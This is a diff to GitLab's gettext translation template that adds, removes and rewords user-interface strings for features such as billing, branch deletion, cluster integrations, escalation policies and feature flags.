msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
